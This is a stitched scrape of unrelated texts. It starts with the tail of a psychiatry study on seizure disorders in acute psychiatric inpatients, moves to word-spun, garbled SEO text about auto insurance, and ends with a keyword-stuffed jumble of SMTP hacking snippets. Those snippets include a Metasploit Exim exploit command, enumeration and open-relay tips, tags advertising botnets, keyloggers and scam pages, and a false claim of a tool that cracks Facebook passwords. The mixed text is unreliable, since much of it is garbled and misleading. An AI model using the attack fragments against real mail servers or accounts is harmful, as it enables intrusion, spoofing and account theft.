epilepsy diagnoses in local hospital records and the National Patient Registries. Noteworthy, the most precise screening tool for epilepsy was the self-report question ‘are you or have you ever been treated for epilepsy?” (Table 1). The small overestimation of epilepsy prevalence using this question (5.0% vs. 3.9%) may possibly be related to past or present use of antiseizure medications for psychiatric disorders. The sole use of ICD-9/10 diagnoses from hospital records and registries gave a large overestimation of epilepsy. In fact, only 14 out of 38 patients with a coded diagnosis of epilepsy were found to have true epilepsy on validation. During this validation process it was noted that contacts limited to EEG and clinical appointments for a suspected seizure disorder sometimes had been inappropriately coded as epilepsy. These observations underscore the limitations in solely using registry data as a measure of true epilepsy. Differential diagnosis The epileptic affliction of patients in this clinical sample spanned from a history of drug-resistant and debilitating chronic epilepsies, well-controlled epilepsy, epilepsy resolved (including self-limited childhood epilepsies), as well as recurrent acute symptomatic seizures. The high frequency of past or present epileptic seizures suggests that the brains of many of these people might harbor a shared susceptibility to both psychiatric and seizure disorders possibly by overlapping genetic variants and network abnormalities [18,19,20]. Patients with psychogenic non-epileptic seizures exhibit a wide range of symptoms; the most common pattern consists of variable movements of limbs, head, and trunk, typically out of phase and often prolonged with preserved consciousness. These conversion symptoms are occasionally associated with self-harm behavior and may be caused by overwhelming and unspoken remote emotional traumas, sometimes related to uncontrolled epilepsy [3, 12]. More than a quarter of patients presenting a seizure disorder was diagnosed with psychogenic non-epileptic seizures; two of which also had a history of epilepsy. Along with psychogenic non-epileptic seizures, panic attacks with hyperventilation seemed to be the most common condition misinterpreted as an epileptic event. Dizziness and reduced consciousness with loss of control may occur, as well as peripheral sensory and even motor symptoms. The somatic symptoms may be explained by two independent mechanisms taking effect simultaneously, that is, biochemical changes due to lowered pH and cerebral vasoconstriction due to hypocapnia. A provocation test with hyperventilation is usually diagnostic. Hyperventilation may also be a puzzling part of psychogenic non-epileptic seizures [3, 21], whereas conversive elements may be part of the hyperventilation syndrome. The borders between the two conditions may sometimes be blurred. Seizure disorders and psychiatric disease In the 2005 revised International League Against Epilepsy definition of epilepsy, the core elements of the diagnosis were extended beyond recurrent seizures to also include “the neurobiological, cognitive, psychological, and social consequences of the condition”. This definition encompasses a vulnerability to develop psychiatric disorders [1]. The variable temporal relationships between epileptic and psychiatric symptoms in the present series support that these brain-behavior relationships may be bidirectional [2], expressing that psychiatric comorbidity may be part of the epileptic disorder rather than only representing its consequences. Even long resolved self-limited epilepsies of childhood may be associated with poor psychosocial and neuropsychiatric outcome in adult life [22,23,24,25], as interestingly was demonstrated in five patients reported here. This complex patient series illustrates well the obstacles that may take place in the diagnosis, classification and management of seizure disorders in patients with psychiatric comorbidities. Various studies in patients with epilepsy have demonstrated a particular high prevalence of depressive and anxiety disorders substantially contributing to poor health-related quality of life, morbidity, and mortality [26]. It is also well known that psychosis may accompany epilepsy in various ways. Postictal and interictal psychosis usually follow long-standing severe and uncontrolled epilepsy [27]. Although the temporal relationship between psychiatric symptoms and seizure events was not exactly recorded in this study, elements of these complications may have been present in patients with drug-resistant epilepsy. So-called alternative psychoses may occur when seizures suddenly are suppressed by effective treatment. The relationship between epilepsy and interictal psychosis is bidirectional, but epilepsy antedating psychosis is far more common. In a cohort of consecutive patients with both epilepsy (meeting the ILAE diagnostic criteria) and psychosis unrelated to ictal symptoms, 6.8% of patients had developed psychosis prior to the development of epilepsy. Clinical characteristics did not differ in relation to the order of the onset of the two disorders, conceivably due to shared genetic vulnerabilities [28]. Some antiseizure medications may cause various psychiatric adverse events. Moreover, a high load of antipsychotic medications may lower the seizure threshold. All these factors must be considered in patients with comorbid seizures and psychiatric disorders [29]. It has further been hypothesized that various episodic psychiatric symptoms, including panic attacks and violent acts, occasionally may belong to a wider spectrum of epileptic disorders which falls outside the current criteria for epilepsy. Scalp EEGs may be unremarkable or ambiguous, but intracranial EEG may reveal signs of neuronal hyperexcitability, and some of these patients may respond to antiseizure medications [30]. Interestingly, epileptiform and sharp elements in standard EEG recordings have been found to correlate with a higher frequency of hypomanic episodes in bipolar II disorder even in the absence of a history of seizures [31]. Patients with substance use disorders are at high risk of developing seizures, both during the withdrawal phase (e.g. alcohol) and during intoxications (e.g. stimulants). These acute symptomatic seizures are provoked by systemic insults outside physiological limits and contrasts to the seizures precipitated by everyday circumstances in patients with epilepsy. Seizure occurrence may be dependent on the individual seizure threshold, either inherently [20, 32] or facilitated by otherwise subclinical subtle brain lesions [33] or influenced by prescribed psychotropic treatment, sleep deprivation and stress, particularly when these factors are combined. It has been reported that substance use disorders are considerably more common in patients with epilepsy as compared to the general population [34]. However, the borders between epilepsy and acute symptomatic seizures may be blurred [35], and epilepsy can easily be over-diagnosed. To complicate the picture even more, epilepsy and acute symptomatic seizures may occur in the same individual, as in five patients in this patient series. In these patients, acute symptomatic seizures differed from previous habitual seizures by the presence of evident withdrawal symptoms or intoxications with neurotoxic substances. Noteworthy, inflammatory brain diseases should always be ruled out in patients presenting with acute psychiatric symptoms and epileptic seizures. Indeed, we advocate prompt diagnostic procedures for autoimmune or infectious encephalitis in such patients to ensure early appropriate treatment [36, 37]. Strengths and limitations A strength of the present study is that the study sites (the acute psychiatric department and neurological department) are the sole institutions providing acute psychiatric care and epilepsy management in the catchment area. The rather small sample size allowed for a detailed review of the entire medical record of each patient with a strict validation procedure using established definitions for epilepsy and other seizure disorders. Nevertheless, despite these efforts, the precision of exact diagnoses of seizure disorders might represent a problem in this type of retrospective study, as the differentiation between recurrent unprovoked seizures (epilepsy) and repeated acute symptomatic seizures may be challenging. Moreover, a large part of the self-reported seizure events was not addressed in the medical records. This might have led us to underestimate the number of patients with acute symptomatic seizures [33]. The inclusion rate of 64.3% compares favorably to other studies in acute psychiatric settings [38,39,40]. However, since patients with more severe acute psychiatric symptoms are more prone to decline study participation, this numbers may represent a selection bias. Conclusions A history of seizure disorders is frequent in patients admitted to acute psychiatric care and may substantially add to the burden of stigma and disability. Seizures may manifest as epilepsy, acute symptomatic seizures or psychogenic non-epileptic seizures and should be carefully investigated, as these disorders need different therapeutic approaches. This is the first study to report on the prevalence of these disorders in patients admitted to acute psychiatric care. The findings underscore the need for a comprehensive interdisciplinary management of these patients. We suggest more joint research and educational efforts between the fields of neurology and psychiatry to broaden the understanding of the multifaceted challenges occurring in patients with combined psychiatric and seizure disorders. Availability of data and materials The datasets used and/or analysed during the current study are available from the corresponding author on reasonable request. Abbreviations - EEG: Electroencephalography - ICD: International Classification of Diseases References. Keshavan MS, Price BH, Martin JB. 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Beghi E, Carpio A, Forsgren L, Hesdorffer DC, Malmgren K, Sander JW, et al. Recommendation for a definition of acute symptomatic seizure. Epilepsia. 2010;51(4):671–5. Bodde NM, Brooks JL, Baker GA, Boon PA, Hendriksen JG, Mulder OG, et al. Psychogenic non-epileptic seizures--definition, etiology, treatment and prognostic issues: a critical review. Seizure. 2009;18(8):543–53. Baslet G, Bajestan SN, Aybek S, Modirrousta M, Clin Psy JP, Cavanna A, et al. Evidence-based practice for the clinical assessment of psychogenic nonepileptic seizures: a report from the American neuropsychiatric association committee on research. J Neuropsychiatr Clin Neurosci. 2021;33(1):27–42. Thurman DJ, Beghi E, Begley CE, Berg AT, Buchhalter JR, Ding D, et al. Standards for epidemiologic studies and surveillance of epilepsy. Epilepsia. 2011;52(Suppl 7):2–26.;54(11):2005–18. Fiest KM, Sauro KM, Wiebe S, Patten SB, Kwon CS, Dykeman J, et al. Prevalence and incidence of epilepsy: a systematic review and meta-analysis of international studies. Neurology. 2017;88(3):296–303. Beghi E. The epidemiology of epilepsy. Neuroepidemiology. 2020;54(2):185–91. Boutros NN. Epileptic psychiatric patients, a special population. J Ment Health. 1995;4(1):79–84. Leu C, Bautista JF, Sudarsanam M, Niestroj LM, Stefanski A, Ferguson L, et al. Neurological disorder-associated genetic variants in individuals with psychogenic nonepileptic seizures. Sci Rep. 2020;10(1):15205. Leu C, Richardson TG, Kaufmann T, van der Meer D, Andreassen OA, Westlye LT, et al. Pleiotropy of polygenic factors associated with focal and generalized epilepsy in the general population. PLoS One. 2020;15(4):e0232292. Johnson MR, Shorvon SD. Heredity in epilepsy: neurodevelopment, comorbidity, and the neurological trait. Epilepsy Behav. 2011;22(3):421–7. Indranada AM, Mullen SA, Duncan R, Berlowitz DJ, Kanaan RAA. The association of panic and hyperventilation with psychogenic non-epileptic seizures: a systematic review and meta-analysis. Seizure. 2018;59:108–15. Wirrell EC, Camfield CS, Camfield PR, Dooley JM, Gordon KE, Smith B. Long-term psychosocial outcome in typical absence epilepsy. Sometimes a wolf in sheeps' clothing. Arch Pediatr Adolesc Med. 1997;151(2):152–8. Sillanpää M, Haataja L, Shinnar S. Perceived impact of childhood-onset epilepsy on quality of life as an adult. Epilepsia. 2004;45(8):971–7. Verrotti A, Matricardi S, Rinaldi VE, Prezioso G, Coppola G. Neuropsychological impairment in childhood absence epilepsy: review of the literature. J Neurol Sci. 2015;359(1-2):59–66. Ross EE, Stoyell SM, Kramer MA, Berg AT, Chu CJ. The natural history of seizures and neuropsychiatric symptoms in childhood epilepsy with centrotemporal spikes (CECTS). Epilepsy Behav. 2020;103(Pt A):106437. Walsh S, Levita L, Reuber M. Comorbid depression and associated factors in PNES versus epilepsy: systematic review and meta-analysis. Seizure. 2018;60:44–56. Kanner AM, Rivas-Grajales AM. Psychosis of epilepsy: a multifaceted neuropsychiatric disorder. CNS Spectr. 2016;21(3):247–57. Adachi N, Onuma T, Kato M, Ito M, Akanuma N, Hara T, et al. Analogy between psychosis antedating epilepsy and epilepsy antedating psychosis. Epilepsia. 2011;52(7):1239–44. de Toffol B, Trimble M, Hesdorffer DC, Taylor L, Sachdev P, Clancy M, et al. Pharmacotherapy in patients with epilepsy and psychosis. Epilepsy Behav. 2018;88:54–60. Boutros NN, Bowyer S, Wang J, Urfy MZ, Loeb JA. Epilepsy spectrum disorders: a concept in need of validation or refutation. Med Hypotheses. 2015;85(5):656–63. Drange OK, Sæther SG, Finseth PI, Morken G, Vaaler AE, Arntsen V, et al. Differences in course of illness between patients with bipolar II disorder with and without epileptiform discharges or other sharp activity on electroencephalograms: a cross-sectional study. BMC Psychiatry. 2020;20(1):582. Leach JP, Mohanraj R, Borland W. Alcohol and drugs in epilepsy: pathophysiology, presentation, possibilities, and prevention. Epilepsia. 2012;53(Suppl 4):48–57. Samsonsen C, Myklebust H, Strindler T, Bråthen G, Helde G, Brodtkorb E. The seizure precipitating effect of alcohol: a prospective observational cross-over study. Epilepsy Res. 2018;143:82–9. Bakken IJ, Revdal E, Nesvåg R, Brenner E, Knudsen GP, Surén P, et al. Substance use disorders and psychotic disorders in epilepsy: a population-based registry study. Epilepsy Res. 2014;108(8):1435–43. Bråthen G, Brodtkorb E, Helde G, Sand T, Bovim G. The diversity of seizures related to alcohol use. A study of consecutive patients. Eur J Neurol. 1999;6(6):697–703. Steiner J, Prüss H, Köhler S, Frodl T, Hasan A, Falkai P. Autoimmune encephalitis with psychosis: warning signs, step-by-step diagnostics and treatment. World J Biol Psychiatry. 2020;21(4):241–54. Herken J, Prüss H. Red flags: clinical signs for identifying autoimmune encephalitis in psychiatric patients. Front Psychiatry. 2017;8:25.;13:93. Kohigashi M, Kitabayashi Y, Okamura A, Nakamura M, Hoshiyama A, Kunizawa M, et al. Relationship between patients' quality of life and coercion in psychiatric acute wards. Psychiatry Res. 2013;208(1):88–90. Mordal J, Medhus S, Holm B, Mørland J, Bramness JG. Influence of drugs of abuse and alcohol upon patients admitted to acute psychiatric wards: physician's assessment compared to blood drug concentrations. J Clin Psychopharmacol. 2013;33(3):415–9. Acknowledgements Not applicable. Funding This research received no specific grant from any funding agency, commercial or not-for-profit sectors. Ethics declarations Ethics approval and consent to participate All participating patients gave written informed consent. The study was conducted in accordance with the Helsinki Declaration and approved by The Regional Committee for Medical and Health Research Ethics of Central Norway (2011/137). Consent for publication Not applicable. Competing interests The authors declare that they have no competing interests. Additional information Publisher’s Note Springer Nature remains neutral with regard to jurisdictional claims in published maps and institutional affiliations. Supplementary Information Additional file 1: Table S1 Drugs included in each medication category. Table S2 Drugs included in each substance useken, E.I., Grinde, F., Vaaler, A. et al. Epilepsy and other seizure disorders in acute psychiatric inpatients. BMC Psychiatry 21, 626 (2021). Received: Accepted: Published: DOI: Keywords - Epilepsy - Seizures - Acute psychiatric disorders - Acute psychiatry - Prevalence

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There are plenty of elements to take into consideration, including your condition’s regulations on insurance plan. In case you are seeking higher-hazard driver automobile insurance policy in close proximity to me, you may be pondering how to get a small-Value policy. Large-possibility motorists pay out larger insurance policies premiums than common motorists. It’s because they have a tendency to own far more accidents or violations on their document. Dependant upon the state, the Restrict could possibly be 3 several years or 5 years. In some cases, you can find savings if you are taking a driver protection study course. Whilst the national averages for high-danger driver motor vehicle insurance plan in the vicinity of me are rather dependable, you will see that premiums differ wildly from point out to point out. Some companies modify their fees to distinct states, so if you reside in a particular state, you could notice that 1 insurance company provides you the ideal coverage for your minimal rate. The cheapest higher-danger driver automobile insurance close to me comes from Point out Farm, which has a long-standing status for furnishing exceptional assistance. The obvious way to find a large-possibility driver motor vehicle insurance close to me is to enter your ZIP code and Assess estimates. The cost of significant-threat vehicle insurance policies near me can differ from state to point out, but most significant insurers present these types of coverage. Some of these corporations specialise in high-possibility coverage, for example National Typical. You could even be capable of finding a less expensive plan When you’ve got good grades and also a low-chance car. There are plenty of advantages of comparing automobile insurance policies businesses. In the following paragraphs, We’re going to explore a number of A very powerful capabilities, which include scores, discounts, and customer support. Picking out the finest policy is important for your safety and defense, so make an effort to compare the various guidelines from distinctive companies. By the time you finish looking at this informative article, you’ll need an idea of which insurer provides the top coverage at the bottom Value. Here are some tips to select the appropriate just one for you personally: To get the very best level, you need to compare vehicle coverage offers from diverse businesses. Insurers use quite a few components to find out the cost of insurance policy. It’s essential to determine your personal needs and Examine selling prices from various suppliers. By way of example, sports automobiles can Charge far more to insure than common automobiles. Furthermore, your locality and driving historical past could also have an impact on the fees that you’re quoted. By using a comparison tool, yow will discover the lowest level on exactly the same protection with the exact deductibles. Insurance plan rates may vary appreciably, so it’s vital to understand how Just about every policy is effective. Among the aspects that have an affect on premiums are driving heritage, age, and credit history history. You may also Assess the perks that every company provides, including roadside support or accident forgiveness. Although this might look like a frightening endeavor, it may help to check quotes from various companies and pick the correct a person. Outlined underneath are a few tricks to get you started. In regards to comparing auto insurance coverage businesses, it is advisable to get started with the J.D. Energy automobile insurance provider rankings. These are typically according to shopper pleasure surveys that study thousands of automobile coverage shoppers nationwide. The outcome are compiled into numerical scores that symbolize the companies’ regular consumer pleasure rating. These rankings are released yearly, and the most beneficial motor vehicle insurance plan corporations in Each individual class are awarded gold medals. But how Did you know if the businesses you are considering are any superior? There are several means to evaluate the economical strength of vehicle insurance plan providers. For starters, you may check the AM Greatest insurance provider score, which provides financial balance scores for automobile insurance policy organizations. Whether or not the auto insurance provider has an A, B, C, or F ranking, it is important to understand how steady it really is before picking a policy. This is a vital aspect of customer service, so be sure to examine the evaluations and browse the wonderful print prior to making a decision. Vehicle coverage companies supply many different bargains. Quite a few of these special discounts may not be readily available for Absolutely everyone, so it is important to examine the company Internet site to ensure you qualify with the savings that utilize to you personally. Some firms give various bargains, and You can even check with your coverage agent if they are eligible for virtually any distinct price cut. However, the procedure is not hard and sometimes usually takes a lot less than an hour or so. Beneath are some samples of probable auto insurance policies savings. Legacy Discounts: An auto insurance provider could supply a discount to new drivers who invest in their plan via their parents’ corporation. This lower price is mostly around ten percent. This is one method to thank your moms and dads for your online business over time, and it can save you income on your vehicle insurance policies protection. A lot of companies provide legacy bargains to younger drivers, and It is really worth checking to discover In the event your insurance provider offers one. You may as well look into insurance policies provided by American Household, Farmers, or USAA. Inside the coverage field, There are many companies that continuously excel at customer support. Esurance, by way of example, scored four out of 5 during the J.D. Electrical power rankings for customer support, a high mark for an organization whose father or mother business won’t. The company scored increased than its rivals in all other regions, like policy choices and costs, as well as the high-quality of provider provided by its Speak to center representatives and website.(personalized support) The most crucial ingredient of vehicle insurance policy for some shoppers is its protection, but it’s the customer support that issues most. Consumers wish to Speak to their insurers and acquire prompt, courteous services. Because of this they want to get a reaction to their email messages and cellular phone calls swiftly, and they want to speak with an agent who’ll listen to their worries and provide options. Even though all car insurance policy firms may possibly offer great customer service, some do perform better than Some others.(rideshare coverage)(just some clicks)(insurance policies choices) Numerous variables affect the premiums of car insurance coverage providers. Driving history and age are two significant factors. A driver using a weak driving history or even a lousy credit score rating could have better premiums. Also, the cost of living close to you will impact the premiums. For this reason, it is important to match the rates of a number of insurance coverage organizations to locate the a single that could match your spending plan and your driving patterns. Usually there are some methods to lower your rates, like cutting protection or having a defensive driving program. You can also choose to pay for a full year of coverage up entrance.(bill online)(worker special discounts)(at fault incident)(covered incident) In addition to the above-pointed out components, a number of other things can increase your quality. As an example, when you’ve recently built a claim or logged a site visitors violation, your insurance coverage provider will reassess your rates. In addition, if you are taking a safe driving training course, you may well be eligible for a discount. Coverage businesses are regularly tweaking their types to find out the rates, and you could possibly detect a change in the premiums Even when you’ve never ever transformed your driving record.(utilization based mostly insurance policies)(rental automobiles)(motor vehicle repairs)(Safe and sound driver price cut) A car or truck insurance policy Look at is a terrific way to prevent disreputable insurance coverage suppliers. By way of example, very low prices from a specific insurance provider can be deceptive In the event the quote excludes particular protection or makes inaccurate assumptions regarding your driving profile. By hunting up coverage organizations’ scores as well as A.M. Finest score, you will find The most cost effective insurance providers in your neighborhood. Examine this text to Learn the way auto insurance coverage compares can save you funds. Then, Get the estimates with the best providers and find out which one is the greatest in your case.(incident no cost) Your credit history-based insurance coverage score is actually a practical indicator of simply how much possibility you’re prone to pose, but you shouldn’t Enable it dictate your rates. The federal authorities isn’t going to allow insurers to make use of your credit historical past as the only basis for an increase in your charges. Nonetheless, states for instance California, Massachusetts, Oregon, Utah, and Vermont have legal guidelines set up that prohibit insurers from utilizing credit history heritage to find out insurance policy costs.(could help save)(new car or truck)(automobile declare) Nevertheless, such a insurance plan would not implement to every condition, so individuals have no way to ascertain if an organization is using your score to make a decision exactly how much to charge them. Some states, which include California, Hawaii, Massachusetts, and Michigan, do ban credit rating-dependent insurance plan. Many other states also have constraints on using credit-centered coverage scores. In the end, you have got to come to a decision yourself whether your credit-dependent insurance policy score is appropriate for you.(bike insurance policy)(roadside assistance coverage)(bundling vehicle)(receive a car or truck insurance policy)(pet insurance policies)(real income value)(superior promises service)(yacht insurance plan) Lots of variables influence the expense of car or truck insurance special discounts, such as age. Age impacts your level by much more than 30 p.c, and in some states, a youthful driver will pay Practically 4 situations around a 30-yr-outdated. Inexperience is an additional key component, as young young adults usually tend to get into incidents. By knowledge what things influence your premiums, you are able to negotiate decreased costs yourself. Shown underneath are some of the ways in which age has an effect on your automobile insurance policies. In general, the young that you are, the reduced your premiums will be. But if you are a person, age does have an affect on the expense of vehicle insurance policy. While youthful male motorists pay back lower than their more mature counterparts, rates for drivers in their sixties and seventies skyrocket. Statistically, males are two as well as a 50 percent occasions as very likely to be linked to a vehicle crash than Gals, Hence the gender hole decreases with age.(coverage alternatives)(homeowners insurance coverage) The fact that a person can pay a higher premium for motor vehicle insurance than a girl isn’t entirely surprising. Many men make poor selections though driving, resulting in additional accidents and claims. Nonetheless, Here are a few factors that make Gentlemen costlier to insure. Here are a few of the very best explanation why. Please read on to find more about the preferred elements that impact car insurance coverage costs by gender. And when you’re still bewildered, think about these guidelines for lowering your rates.(car insurance policy procedures)(auto coverage estimate)(auto insurance policies amount) The Oregon Division of monetary Regulation has instructed vehicle insurers to support customers who don’t specify their gender. Discrimination in opposition to non-binary people today could be grounds for unfair discrimination expenses, and insurers must file costs for all those motorists beginning in January 2019. These rates could possibly be increased than Those people for male and female drivers. Providing they are not excessive, Females will be able to cut costs. Also, Don’t be concerned in regards to the “non-binary” rate for young motorists.(auto insurance claim)(hole insurance policy)(car plan)

Smtp Exploit Smtp Exploitbotnet | rat | keylogger | exploit | scam page | rdp | vpn | cpanel | whm | ssh | leads | email tools | scanner | crypter | exploit | tutorials | binance | forex. Hey all, doing a lab and I have been given a PoC of a exploit, I have used that with output and running whoami to confirm I am getting NT Authority System user, I need to get the token from a file, but the user doesnt seem to have access to Copy-Item, cp, cat, Get-Contents etc. These headers are interpreted by the email library on the web server and turned into resulting SMTP …. WordPress Plugin WP Mail SMTP by WPForms Cross. In this Post, we will be discussing on SMTP log poisoning. The tool allows us to do a lot of thi. SMTP: Adobe PDF JPXDecode Remote Code Execution. com 25 (SMTP works on port 25) Once you are connected, the screen will look like this and you can further use commands like HELO (Your domain name) and EHLO to see the supported options on that particular mail server: Start Sending the Email to test the server: MAIL FROM:. SMTP header injection vulnerabilities arise when user input is placed into email headers without adequate sanitization, allowing an attacker to inject additional headers with arbitrary values. May 8, 2021 Allen THOMPSON 3 Comments 25, exploit for smtp port, exploit for smtp port 25 . Vulmon is a vulnerability and exploit search engine with vulnerability intelligence features. prefix lets Exchange encapsulate one SMTP address inside another for the IMS to deliver to a connected system. SMTPTester is a python3 tool to test SMTP server for 3 common vulnerabilities: BinAbsInspector - Vulnerability Scanner For Binaries . smtp-vuln-cve2010-4344 NSE script - Nmap nmap. Sometimes you also have a so-called client submission port 587 that could be configured. The vulnerability was originally announced in Microsoft Security Bulletin MS99-027 and reported to affect Exchange Server 5. It has been recently reported that this vulnerability also affects the SMTP …. If the exploit succeed the exploit. Supported platform (s): Windows. SMTP exploits and some popular tools include: Banner grabbing Cleartext sniffing of authentication, email messages, and attachments: Wireshark, coupled with an ARP poisoner such as Spam and phishing relaying: MailBomber, Kali SET, Metasploit Pro Phishing Campaign Quick Wizard, ReelPhish, King. Hi Buddy, in this blog plus article I want to explain how to exploit port 25/tcp open smtp Postfix smtpd in a metasploitable vulnerabe. "The thing about Shellshock is that any server running a vulnerable version of bash is vulnerable and can be exploited if an attacker can control something that is set as an SMTP variable. 54 SMTP; Unable to relay recipient in non-accepted domain [5632 ms] LookupServer 8047ms Got similar results you indicated above for telnet: auth login 504 5. After running the module here are the results: As we did in part II, lets search exploitDB, google, etc. You have three options to consider for using the tool: Internal – to test mail spoofing only. msf5 > use exploit/unix/smtp/exim4_string_format. Answer (1 of 2): Some hacks exploit weaknesses in the Simple Mail Transfer Protocol (SMTP). SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. There is a script in the NSE (Nmap Scripting Engine) that can be used for SMTP user enumeration. Split Tunnel SMTP Exploit Allows an Attacker to Inject Payloads Into Email Servers Split Tunnel SMTP Exploit - the basics. What are the common attacks on SMTP Server?. py This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. exploit script argument will make the script try to exploit the vulnerabilities, by sending more than 50MB of data, it depends on the message size limit configuration option of the Exim server. Enumerating SMTP Users — Telnet. But before that, you should know some basic stuff regarding Nmap status after scanning. It is an essential machine to understand for anyone wanting to sit the current OSCP exam due to the elements contained within it. A python-based tiny utility, SMTPTester is a great tool that can test your SMTP mail server for three common vulnerabilities - spoofing, user enumeration, and relays. Postfix SMTP with procmail shellshock exploit that affects versions 4. In this attack, hackers are taking advantage of Google’s SMTP Relay service to send spoofed emails. Below are the few critical instances where a Shellshock vulnerability may be exposed: In addition to the limitations of scanning CGI applications, this scanner is not able to determine the vulnerability of SMTP …. Split Tunnel SMTP Exploit Bypasses Email Security Gatew…. According to a report from email. com though which would set the envelope from to the address used to authenticate to the relay. Information Security Services, News, Files, Tools, Exploits, This issue allows the injection of arbitrary SMTP headers in the generated . Hack Like a Pro: How to Extract Email Addresses from an SMT…. Type of possible injection (IMAP/SMTP) Understanding the Data Flow and Deployment Structure of the Client. 25/tcp open smtp Postfix smtpd Exploit Step 1 Nmap Port 25 Scan. Using Metasploit and Hydra to exploit SMTP. main exploits/postfix-smtpd-exploit. Luckily, you can easily view the payloads that are supported for an exploit. The role of the EXPN command is to reveal the actual address of users aliases and lists of email and VRFY which can confirm the existance of names of valid users. Now that we have it loaded, let's get more information on this exploit. What are the threats to SMTP security? · Unauthorized access to your emails and data leakage · Spam and Phishing · Malware · DoS attacks. Similarly, an Outbound SMTP Email test finds out your outbound IPs for some requirements. SMTP exploit in "Demonstrate Your Skills: Infrastructure. Now that we are connected via telnet to the SMTP server, we can use the SMTP commands listed above to query the server. I linked the tutorial I used for that here. com address to auth to the relay and he was spoofing It includes Reverse DNS, RBL checks, and Sender ID. Over the weekend, a vulnerability was disclosed and patched in the popular WordPress plugin Easy WP SMTP. Here are the commands I used to send a mail including the payload that we need to execute. Search: Smtp User Enumeration Metasploit. Metasploit SMTP Enumeration Results smtp-user-enum. 14 SMTP Tools to Diagnose and Test Email Security. An attacker could potentially exploit a vulnerability in the Info-zip . The script will stop querying the SMTP …. nse script checks for and/or exploits a heap overflow within versions of Exim prior to version 4. SMTP is part of the application layer of the TCP/IP protocol. Our Shellcode uses the latest exploits of Facebook to find the password of the targeted account, you have nothing to do our online tool does the work for you …. The Simple Mail Transfer Protocol (SMTP) service has two internal commands that allow the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which reveals the actual address of users' aliases and lists of emails (mailing lists)). Let us check for the connection to open and then we'll move ahead to spoof. Note that this check has not tried to exploit the issue or detect whether the remote service uses a vulnerable configuration. Reverse dns does not match smtp banner zimbra. A malicious user can exploit this functionality . Hack Like a Pro: How to Extract Email Addresses from an SMTP Server email. Easy WP SMTP, a WordPress plugin for email management that has more than 500,000 installations, has a vulnerability that could open the site up to takeover, researchers said. UPDATED G Suite's email configuration was vulnerable to a Simple Mail Transfer Protocol (SMTP) exploit that allowed attackers to spoof email . The port is refers to in this case is 25. Exploits related to Vulnerabilities in SMTP Server Listening on a Non-Default Port Vital Information on This Issue Vulnerabilities in SMTP Server Listening on a Non-Default Port is a Medium risk vulnerability that is one of the most frequently found on networks around the world. Searching the vulnerable mail server in public network with open relay. David -----Original Message----- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Eddie Pang Sent: 29 October 2006 13:12 To: 4 Unrecognized authentication type. In April, Google began to see an uptick in spoofing attacks that utilized their SMTP Relay system and compromised Google accounts. SMTP relay exploit takes advantage of DMARC unenforcement Google's SMTP relay service is used by organizations for things like sending out . Split Tunnel SMTP Exploit Allows an Attacker to Inject. Microsoft Exchange includes an SMTP server and can also be set up to include POP3 support. The old script had a preset sender name i have made this a variable so its easily changeable because without that if you ctrl+c in a tab it clogs up the name making it unable to recieve new shell without reverting. The most severe and impactful vulnerability in the Exchange Server POP3, IMAP or SMTP, and proxies the connections to the corresponding . Through the implementation of these SMTP commands can reveal a list of valid users. SMTP (Simple Mail Transfer Protocol) Service Enumeration. A vulnerable/poorly configured SMB machine (remote or local) SMB PORT: 445. Lotus Domino SMTP Server Allows Anonymous Relay of Quoted Addresses. Network Services 2 WriteUp – TryHackMe – FTHCYBER. mLNK is a great exploit builder with 3 encryption methods (AES-256, Rijndael, 3-DES), Which will turn any. It is accessing the mail server, i. [Task 4] Exploiting NFS #1 First, change directory to the mount point on your machine, where the NFS share should still be mounted, and then into …. Advanced Web Attacks and Exploitation (WEB-300) Windows User Mode Exploit Development (EXP-301) macOS Control Bypasses (EXP-312) Advanced Windows Exploitation …. SMTP enumeration can be implemented through the Nmap as well. TELNET is basically used for checking connection …. Once in Metasploit, then I do an nmap scan my- smtp -login: smtp This exploit takes us straight to Admin rights and so no POC for the user was provided # …. SMTP is a service that can be found in most infrastructure Metasploit SMTP Enumeration Module — Configuration Hack-o-prenuer. The first thing is to change the parameter …. Phishers exploit Google’s SMTP Relay service to deliver spoofe…. By default, the Postfix SMTP client returns such mail as undeliverable com smtp_user_name: this is a fairly easy machine to exploit and is …. An SMTP hack abuses vulnerabilities found in the Simple Mail Transfer Protocol (SMTP), allowing hackers to rely on the victim's reputation when sending spam . I performed an nmap scan and was able to find an open port 587 for SMTP …. SMTP enumeration with Kali Linux. This type of vulnerability can be real threats in . Edit: Pare obligatoriu: "In any event, a. Hello ladies Today we are going to see a very powerful leak Laravel Full exploit private tool From ur brother Gu4rd1an. Easy WP SMTP, a WordPress plugin for email management that has more than 500,000 installations, has a vulnerability that could open the site . Phishers exploit Google’s SMTP Relay service to deliver. Another tool that can be used is the smtp-user-enum which provides 3 …. TELNET is basically used for checking connection with remote and issue some kind of commands on it. smbdomain, smbhash, smbnoguest, smbpassword, smbtype, smbusername. NetScanTools Pro SMTP Server Tests Tool is a 2-in-1 tool. WP Mail SMTP helps you connect your WordPress site to the best SMTP services like SendLayer. Simple Mail Transfer Protocol abbreviated as " SMTP " - an application layer TCP/IP protocol, which run over port 25 in order to allow the applications to transfer an email to and through networks by. The ultimate fix is to configure your email server (whatever software it is such as Exchange or something else) to only allow authentication over TLS. This room covers topics on NFS, SMTP, and MySQL. The IP address this is tagged to is our email's public IP address. The so-called Split Tunnel SMTP Exploit works against pretty much any email encryption device—virtual, hosted or in-house—that accepts inbound SMTP and there's very little anyone can do to. If you need to connect to a server that only allows encrypted communication, you can use openssl: openssl s_client -starttls smtp -connect :587. An attack with the Split Tunnel SMTP. Description: The remote host is running an SMTP …. The SMTP service has two internal commands that allow the enumeration of users: VRFY (confirming the names of valid users) and EXPN (which reveals the actual address of users aliases and lists of e-mail (mailing lists)). DATA - sent by a client to initiate data transfer. SMTP-Exploit SMTP SMTP stands for "Simple Mail Transfer Protocol". It may even display logged in users and device purpose The protocol consists of a set of commands for an email client to dispatch emails to a SMTP server …. An open relay is an SMTP server configured in such a way that allows a third party to relay (send/receive email messages that are neither from nor for local users). 18 Remote Code Execution exploit and vulnerable container - exploit-CVE-2016-10033/class. The installed version of Microsoft Exchange / Windows SMTP Service is affected by at least one vulnerability : - Incorrect parsing of DNS Mail Exchanger . Unauthenticated admin password reset. Google’s SMTP relay service is used by organizations for things like sending out promotional messages to a huge number of users without. py Created 2 years ago Star 0 Fork 0 smtp exploit Raw opencart. The vulnerability was discovered while testing MailMarshal 